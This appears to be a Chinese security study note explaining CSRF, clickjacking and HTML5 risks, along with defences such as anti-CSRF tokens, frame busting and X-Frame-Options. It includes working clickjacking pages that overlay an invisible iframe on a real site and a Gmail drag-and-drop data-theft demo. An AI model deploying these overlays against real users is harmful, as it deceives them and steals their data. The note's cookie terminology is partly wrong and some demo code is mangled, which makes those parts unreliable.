客户端脚本安全笔记(二)

3.跨站点请求伪造(cross site request forgery)

含义:攻击者伪造用户浏览器的请求去访问服务器,并获得服务器验证通过,从而完成非法攻击。过程类似于客户端脚本安全笔记(一)中的XSS攻击。

之所以攻击者伪造的请求能被服务器验证通过,是因为成功发送了cookie。

cookie的分类:
一种是“session cookie”,又称为临时cookie。浏览器关闭后,该种cookie便失效。
另一种是“Third-party cookie”,又称为“本地cookie”。该种cookie在set-cookie中指定了Expire时间,只有到了该时间,cookie才失效,所以该种cookie保存在本地

设置cookie:


header("Set-Cookie:cookie1=Session Cookie 111111");
header("Set-Cookie:cookie2=Thrid-Party Cookie  22222;expires=Thu,05-Mar-2020 00:00:01 GMT;",false);
?>

分别设置了session cookie和Thrid-party cookie。

访问服务器,浏览器接收到两个cookie:
客户端脚本安全笔记(二)_第1张图片
新建空白标签页(不关闭原页面,即保证浏览器进程不被关闭),然后访问同源的任一网址:
客户端脚本安全笔记(二)_第2张图片
可以看到,之前保存的两个cookie均被浏览器发送。

新建空白标签页,访问不同源的任一网址,并且该访问内容指向源中任一网址,代码如下:

qqqqqqqqqqqqq
<iframe src="http://localhost/a/test.php"></iframe>

客户端脚本安全笔记(二)_第3张图片

可以看到,在b源访问a源的内容时,同样将cookie全部发送,这是由于Firefox默认不拦截Thrid-party cookie。
默认拦截的浏览器:IE6、7、8;Sarafi
默认不拦截的浏览器:Firefox、opera、Chrome、Andriod

对于拦截的浏览器,有一种p3p头可以阻止拦截cookie发送。
p3p头是由W3C制定的标准,全称为:The platform for privacy preference。如果网站返回给浏览器的HTTP头中包含p3
p头,将允许浏览器发送cookie。

CSRF虽然主要通过GET请求进行攻击,但并非使用POST方法的页面就一定可以防止CSRF攻击,因为攻击者可以将各参数利用代码生成 POST表单,并自动提交!

CSRF攻击的防御方法:

  • 验证码

强制浏览器发生交互行为

  • Referer check

因为正常访问时,页面之间是有关联的,如果发现某个请求突然出现,可以认为是构造的一个恶意请求。

  • Anti CSRF token

CSRF攻击的本质是请求的各参数被攻击者获取,如果利用不可预测原则对各参数加上一定的随机性,可以有效避免,但是造成URL动态变化,用户无法收藏网址,token可以解决这个问题,例如:
在这里插入图片描述
但要考虑token的保密性和随机性。

4.点击劫持

攻击者在网页上覆盖一个透明或不可见的iframe,然后诱使用户在该网页上进行操作,这时用户将在不知情的情况下点击透明的iframe页面。(本质是一种视觉上的欺骗)

例子:
新建文件clickjacking.html并写入以下代码:

<html>
        <head>
                <title>CLICK JACK!</title>
                <style>
                iframe{
                        width:900px;
                        height:250px;
                        position:absolute;
                          top:-195px;
                          left:-740px;
                          z-index:2;

                        -moz-opacity:0.5;
                        opacity:0;
                        filter:alpha(opacity=0);
                }
                button{
                        position:absolute;
                        top:10px;
                        left:10px;
                        z-index:1;
                        width:120px;
                }
                </style>
        
        </head>
        <body>
                <iframe src="http://www.qidian.com" scrolling="no"></iframe>
                <button>CLICK HERE!!!</button>
        </body>
</html>

在浏览器地址栏输入:localhost/clickjacking.html:
客户端脚本安全笔记(二)_第4张图片
点击CLICK HERE按钮,发现打开的页面为:
客户端脚本安全笔记(二)_第5张图片
这是因为在该按钮上覆盖有“www.qidian.com"这个网页,只是通过设置opacity=0使得该页面完全透明。

改变该值为0.5,就可以看见覆盖在上面的页面:
客户端脚本安全笔记(二)_第6张图片
于是便完成了点击劫持!

  • Flash点击劫持

通过动态诱使用户点击多个位置,从而完成一系列复杂的操作。

  • 图片覆盖攻击

将透明的链接覆盖到带超链接的图片上,从而将用户引到攻击者的钓鱼网站。

  • 拖拽劫持与数据窃取
    经典案例,将小球拖拽到海豚头上,从而完成邮箱数据窃取,代码如下:
 <html>
       
      <head>
        <title>
          Gmail Clickjacking with drag and drop Attack Demo 
        </title>
        <style>
          .iframe_hidden{height: 50px; width: 50px; top:360px; left:365px; overflow:hidden; 
          filter: alpha(opacity=0); opacity:.0; position: absolute; } .text_area_hidden{ 
         height: 30px; width: 30px; top:160px; left:670px; overflow:hidden; filter: 
         alpha(opacity=0); opacity:.0; position: absolute; } .ball{ top:350px; left:350px; 
         position: absolute; } .ball_1{ top:136px; left:640px; filter: alpha(opacity=0); 
         opacity:.0; position: absolute; }.Dolphin{ top:150px; left:600px; position: 
         absolute; }.center{ margin-right: auto;margin-left: auto; vertical-align:middle;text-align:center; 
         margin-top:350px;} 
       </style>
       <script>
         function Init() { 
           var source = document.getElementById("source"); 
           var target = document.getElementById("target"); 
           if (source.addEventListener) { 
             target.addEventListener("drop", DumpInfo, false); 
           } else { 
             target.attachEvent("ondrop", DumpInfo); 
           } 
         } 
         function DumpInfo(event) { 
           showHide_ball.call(this); 
           showHide_ball_1.call(this); 
           var info = document.getElementById("info"); 
           info.innerHTML += "" + event.dataTransfer.getData('Text') + "
"
; } function showHide_frame() { var iframe_1 = document.getElementById("iframe_1"); iframe_1.style.opacity = this.checked ? "0.5": "0"; iframe_1.style.filter = "progid:DXImageTransform.Microsoft.Alpha(opacity=" + (this.checked ? "50": "0") + ");" } function showHide_text() { var text_1 = document.getElementById("target"); text_1.style.opacity = this.checked ? "0.5": "0"; text_1.style.filter = "progid:DXImageTransform.Microsoft.Alpha(opacity=" + (this.checked ? "50": "0") + ");" } function showHide_ball() { var hide_ball = document.getElementById("hide_ball"); hide_ball.style.opacity = "0"; hide_ball.style.filter = "alpha(opacity=0)"; } function showHide_ball_1() { var hide_ball_1 = document.getElementById("hide_ball_1"); hide_ball_1.style.opacity = "1"; hide_ball_1.style.filter = "alpha(opacity=100)"; } function reload_text() { document.getElementById("target").value = ''; } </script> </head> <body onload="Init();"> <center> <h1> Gmail Clickjacking with drag and drop Attack </h1> </center> <img id="hide_ball" src=ball.png class="ball"> <div id="source"> <iframe id="iframe_1" src="https://mail.google.com/mail/ig/mailmax" class="iframe_hidden" scrolling="no"> </iframe> </div> <img src=Dolphin.png class="Dolphin"> <div> <img id="hide_ball_1" src=ball.png class="ball_1"> </div> <div> <textarea id="target" class="text_area_hidden"> </textarea> </div> <div id="info" style="position:absolute;background-color:#e0e0e0;font-weight:bold; top:600px;"> </div> <center> Note: Clicking "ctrl + a" to select the ball, then drag it to the <br> mouth of the dolphin with the mouse.Make sure you have logged into GMAIL. <br> </center> <br> <br> <div class="center"> <center> <center> <input id="showHide_frame" type="checkbox" onclick="showHide_frame.call(this);" /> <label for="showHide_frame"> Show the jacked I--Frame </label> | <input id="showHide_text" type="checkbox" onclick="showHide_text.call(this);" /> <label for="showHide_text"> Show the jacked Textarea </label> | <input type=button value="Replay" onclick="location.reload();reload_text();"> </center> <br><br> <b> Design by <a target="_blank" href="http://hi.baidu.com/xisigr"> xisigr </a> </b> </center> </div> </body> </html>

客户端脚本安全笔记(二)_第7张图片

  • 触屏劫持

原理都一样,只是该攻击针对手机等移动端

防御ClickJacking

  • frame busting
    通过写一段JavaScript代码,来禁止iframe的嵌套,这种方法称为frame busting

常见形式:

if(top.location != location)
{
  top.location = self.location;
}

总结:

frame busting 的条件判断语句:

if (top != self)
if (top.location != self.location)
if (top.location != location)
if (parent.frames.length > 0)
if (window != top)
if (window.top !== window.self)
if (window.self != window.top)
if (parent && parent != window)
if (parent && parent.frames && parent.frames.length>0)
if((self.parent&&!(self.parent===self))&&(self.parent.frames.length!=0))

frame busting 的纠正动作代码:

 

top.location = self.location
top.location.href = document.location.href
top.location.href = self.location.href
top.location.replace(self.location)
top.location.href = window.location.href
top.location.replace(document.location)
top.location.href = window.location.href
top.location.href = "URL"
document.write('')
top.location = location
top.location.replace(document.location)
top.location.replace('URL')
top.location.href = document.location
top.location.replace(window.location.href)
top.location.href = location.href
self.parent.location = document.location
parent.location.href = self.document.location
top.location.href = self.location
top.location = window.location
top.location.replace(window.location.pathname)
window.top.location = window.self.location
setTimeout(function(){document.body.innerHTML='';},1);
window.self.onload = function(evt){document.body.innerHTML='';}
var url = window.location.href; top.location.replace(url)

但是由于frame busting由JavaScript写的,阻止iframe的控制效果并不强,攻击者是有可能绕过的!从而使frame busting失效。

  • X-Frame-Options

专门为解决ClickJacking而生,即增加HTTP头
修改web服务器配置,添加X-Frame-Options响应头。赋值有如下三种:
1、DENY:不能被嵌入到任何iframe或者frame中。
2、SAMEORIGIN:页面只能被本站页面嵌入到iframe或者frame中
3、ALLOW-FROM uri:只能被嵌入到指定域名的框架中

测试是否加了X-Frame-Options:

<!DOCTYPE html>
<html>
<head lang="en">
    <meta charset="UTF-8" >
    <title>点击劫持测试</title>
</head>
<body>
    <iframe src="localhost/login.php"  width="500"  height="500"  frameborder="10"> </iframe>
</body>
</html>

测试了localhost/login.php是否加入X-Frame-Options,如图:
客户端脚本安全笔记(二)_第8张图片
说明该网页没有添加X-Frame-Options!

接下来配置Apache来新增X-Frame-Options

  1. 启用mod_headers模块
    root用户下执行:
a2enmod headers
  1. 修改apache配置文件
    路径/etc/apache2/apache2.cnf,新增:
< IfModule headers_module>
     Header always append X-Frame-Options "DENY"
< /IfModule>
  1. 重启apache
sudo service apache2 restart

完成配置!
重新打开测试页面:
客户端脚本安全笔记(二)_第9张图片

除了专门写一个html文件进行测试外,也可以从服务器返回的HTTP头查看是否增加了X-Frame-Options:
未增加:
客户端脚本安全笔记(二)_第10张图片
增加后:
客户端脚本安全笔记(二)_第11张图片

5.HTML5 安全

5.1 html5新增标签
新增标签总结
其中< audio>、< video>等新增标签会由于不存在于黑名单而带来安全问题

5.2 其他安全问题

  • Cross-Orgin resource share

同源策略限制了浏览器的跨域访问,但是互联网的开放性迫切需要跨域访问,所以保证安全下的跨域访问很有必要。

apache默认路径下创建文件/a/Domain_test.html

<script>
var client=new XMLHttpRequest();
client.open("GET","http://localhost/b/domain_test.php");
client.onreadystatechange=function(){}
client.send(null);
</script>

再创建文件/b/domain_test.php


header("Access-Control-Allow-Origin:*");
?>
Cross Domain Request Test!

访问localhost/a/Domain_test.html:
客户端脚本安全笔记(二)_第12张图片
本来这种跨域访问是被禁止的,但是由于服务器给浏览器返回了Access-Control-Allow-Origin:*,即允许浏览器跨域访问,所以能够成功访问。

更精准的控制:
客户端脚本安全笔记(二)_第13张图片

  • PostMessage

跨窗口传递消息,postmessage允许每一个windows(包括当前窗口、弹出窗口、iframe)对象往其他窗口发送文本消息,而不受同源策略的限制。

测试:
新建文件/postmessage/index.html

<!-- index.html -->
<head>
    <meta http-equiv="content-type" content="text/html;charset=utf-8">
    </head>
<iframe src="http://localhost/postmessage/frame1.html" frameborder="1"></iframe>

<script>
window.addEventListener('message',function(e){
  console.log(e.data)
},false)
</script>

新建文件/postmessage/frame1.html

<!-- frame1.html -->
<head>
    <meta http-equiv="content-type" content="text/html;charset=utf-8">
    </head>

<h1>iframe1 page</h1>
<script>
  window.top.postMessage("message from iframe1","*");
</script>

实现跨窗口传递消息:
客户端脚本安全笔记(二)_第14张图片

  • web storage
    Web Storage是window对象的子对象,受同源策略限制!!!!

Web Storage的优缺点:
优点:
存储空间更大。在IE下每个独立存储空间为10M,其它浏览器存储空间略有不同,但可以肯定的是至少要比cookie要大很多。
存储内容不会与服务器发生任何交互,数据仅仅单纯地存储在本地。不用担心对服务器数据的影响!
独立的存储空间,每个域都有自己独立的存储空间,各个存储空间又完全是独立的,所以不会对数据千万混乱。
缺点:
存储在本地的数据未加密且永远不会过期,容易造成隐私泄漏!
存储的数据类型只能是字符串!

分类:

localStorage与sessionStorage是Web Storage提供的两种存储在客户端的方法。
localStorage:没有时间限制的存储方式。存储的时间可以是一天,二天,几周或几十年!关闭浏览器数据不会随着消失,当再次打开浏览器时,数据依然可以访问!也就是说除非你主动删除数据,否则数据是永远不会过期的。
sessionStorage:保存在session对象当中。用来保存的时间为用户与浏览器的会话时间。即从浏览页面到关闭浏览器为一个会话时间。关闭浏览器,所有的 session数据也会消失!

localStorage是永久保存数据,sessionStorage是暂时保存数据,这是两者之间的重要区别!

使用起来较简单(以sessionStorage为例):

sessionStorage.setItem("key","value");//设置值
var v=sessionStorage.getItem("key"); //读取值

localStorage.length或sessionStorage.length为相应的数据条数

localStorage.key(index):将数据的索引值作为参数传入,可以得到localStorage中与这个索引号相对应的数据。sessionStorage.key(index)同理!

localStorage.removeItem(“key”):清除指定的localStorage数据。

sessionStorage.clear():清除所有保存在sessionStorage的数据。

你可能感兴趣的:(笔记)